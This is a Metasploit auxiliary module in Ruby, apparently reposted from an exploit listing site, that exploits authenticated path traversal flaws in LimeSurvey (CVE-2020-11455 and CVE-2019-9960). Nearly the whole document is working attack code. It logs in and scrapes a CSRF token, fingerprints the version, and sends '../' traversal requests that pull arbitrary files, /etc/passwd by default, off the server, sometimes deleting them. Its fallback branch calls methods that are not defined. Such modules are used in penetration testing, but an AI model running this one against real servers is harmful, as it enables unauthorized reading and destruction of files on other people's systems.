Share
## https://sploitus.com/exploit?id=PACKETSTORM:181067
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'LimeSurvey Zip Path Traversals',  
'Description' => %q{  
This module exploits an authenticated path traversal vulnerability found in LimeSurvey  
versions between 4.0 and 4.1.11 with CVE-2020-11455 or <= 3.15.9 with CVE-2019-9960,  
inclusive.  
In CVE-2020-11455 the getZipFile function within the filemanager functionality  
allows for arbitrary file download. The file retrieved may be deleted after viewing,  
which was confirmed in testing.  
In CVE-2019-9960 the szip function within the downloadZip functionality allows  
for arbitrary file download.  
Verified against 4.1.11-200316, 3.15.0-181008, 3.9.0-180604, 3.6.0-180328,  
3.0.0-171222, and 2.70.0-170921.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'Matthew Aberegg', # edb/discovery cve 2020  
'Michael Burkey', # edb/discovery cve 2020  
'Federico Fernandez', # cve 2019  
'Alejandro Parodi' # credited in cve 2019 writeup  
],  
'References' => [  
# CVE-2020-11455  
['EDB', '48297'], # CVE-2020-11455  
['CVE', '2020-11455'],  
['URL', 'https://github.com/LimeSurvey/LimeSurvey/commit/daf50ebb16574badfb7ae0b8526ddc5871378f1b'],  
# CVE-2019-9960  
['CVE', '2019-9960'],  
['URL', 'https://www.secsignal.org/en/news/cve-2019-9960-arbitrary-file-download-in-limesurvey/'],  
['URL', 'https://github.com/LimeSurvey/LimeSurvey/commit/1ed10d3c423187712b8f6a8cb2bc9d5cc3b2deb8']  
],  
'DisclosureDate' => '2020-04-02',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [IOC_IN_LOGS],  
'Reliability' => []  
}  
)  
)  
  
register_options(  
[  
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ]),  
OptString.new('TARGETURI', [true, 'The base path to the LimeSurvey installation', '/']),  
OptString.new('FILE', [true, 'The file to retrieve', '/etc/passwd']),  
OptString.new('USERNAME', [true, 'LimeSurvey Username', 'admin']),  
OptString.new('PASSWORD', [true, 'LimeSurvey Password', 'password'])  
]  
)  
end  
  
def uri  
target_uri.path  
end  
  
def cve_2020_11455(cookie, ip)  
vprint_status('Attempting to retrieve file')  
print_error 'This method will possibly delete the file retrieved!!!'  
traversal = '../' * datastore['DEPTH']  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, 'index.php', 'admin', 'filemanager', 'sa', 'getZipFile'),  
'cookie' => cookie,  
'vars_get' => {  
'path' => "#{traversal}#{datastore['FILE']}"  
}  
})  
if res && res.code == 200 && !res.body.empty?  
loot = store_loot('', 'text/plain', ip, res.body, datastore['FILE'], 'LimeSurvey Path Traversal')  
print_good("File stored to: #{loot}")  
else  
print_bad('File not found or server not vulnerable')  
end  
end  
  
def cve_2019_9960_version_3(cookie, ip)  
vprint_status('Attempting to retrieve file')  
traversal = '../' * datastore['DEPTH']  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, 'index.php', 'admin', 'export', 'sa', 'downloadZip'),  
'cookie' => cookie,  
'vars_get' => {  
'sZip' => "#{traversal}#{datastore['FILE']}"  
}  
})  
if res && res.code == 200 && !res.body.empty?  
loot = store_loot('', 'text/plain', ip, res.body, datastore['FILE'], 'LimeSurvey Path Traversal')  
print_good("File stored to: #{loot}")  
else  
print_bad('File not found or server not vulnerable')  
end  
end  
  
# untested because I couldn't find when this applies. It is pre 2.7 definitely, but unsure when.  
# this URL scheme was noted in the secsignal write-up  
def cve_2019_9960_pre25(cookie, ip)  
vprint_status('Attempting to retrieve file')  
traversal = '../' * datastore['DEPTH']  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, 'index.php'),  
'cookie' => cookie,  
'vars_get' => {  
'sZip' => "#{traversal}#{datastore['FILE']}",  
'r' => 'admin/export/sa/downloadZip'  
}  
})  
if res && res.code == 200 && !res.body.empty?  
loot = store_loot('', 'text/plain', ip, res.body, datastore['FILE'], 'LimeSurvey Path Traversal')  
print_good("File stored to: #{loot}")  
else  
print_bad('File not found or server not vulnerable')  
end  
end  
  
def login  
# get csrf  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, 'index.php', 'admin', 'authentication', 'sa', 'login')  
})  
cookie = res.get_cookies  
fail_with(Failure::NoAccess, 'No response from server') unless res  
  
# this regex is version 4+ compliant, will fail on earlier versions which aren't vulnerable anyways.  
/"csrfTokenName":"(?<csrf_name>\w+)"/i =~ res.body  
/"csrfToken":"(?<csrf_value>[\w=-]+)"/i =~ res.body  
csrf_name = 'YII_CSRF_TOKEN' if csrf_name.blank? # default value  
fail_with(Failure::NoAccess, 'Unable to get CSRF values, check URI and server parameters.') if csrf_value.blank?  
vprint_status("CSRF: #{csrf_name} => #{csrf_value}")  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, 'index.php', 'admin', 'authentication', 'sa', 'login'),  
'cookie' => cookie,  
'vars_post' => {  
csrf_name => csrf_value,  
'authMethod' => 'Authdb',  
'user' => datastore['USERNAME'],  
'password' => datastore['PASSWORD'],  
'loginlang' => 'default',  
'action' => 'login',  
'width' => '100',  
'login_submit' => 'login'  
}  
})  
  
if res && res.code == 302 && res.headers['Location'].include?('login') # good login goes to location admin/index not admin/authentication/sa/login  
fail_with(Failure::NoAccess, 'No response from server')  
end  
vprint_good('Login Successful')  
res.get_cookies  
end  
  
def determine_version(cookie)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, 'index.php', 'admin', 'index'),  
'cookie' => cookie  
})  
fail_with(Failure::NoAccess, 'No response from server') unless res  
/Version\s+(?<version>\d\.\d{1,2}\.\d{1,2})/ =~ res.body  
return nil unless version  
  
Rex::Version.new(version)  
end  
  
def run_host(ip)  
cookie = login  
version = determine_version cookie  
if version.nil?  
# try them all!!!  
print_status('Unable to determine version, trying all exploits')  
cve_2020_11455 cookie, ip  
cve_2019_9960_3_15_9 cookie, ip  
cve_2019_9960_pre3_15_9 cookie, ip  
end  
vprint_status "Version Detected: #{version.version}"  
if version.between?(Rex::Version.new('4.0'), Rex::Version.new('4.1.11'))  
cve_2020_11455 cookie, ip  
elsif version.between?(Rex::Version.new('2.50.0'), Rex::Version.new('3.15.9'))  
cve_2019_9960_version_3 cookie, ip  
# 2.50 is when LimeSurvey started doing almost daily releases. This version was  
# picked arbitrarily as I can't seem to find a lower bounds on when this other  
# method may be needed.  
elsif version < Rex::Version.new('2.50.0')  
cve_2019_9960_pre25 cookie, ip  
else  
print_bad "No exploit for version #{version.version}"  
end  
end  
end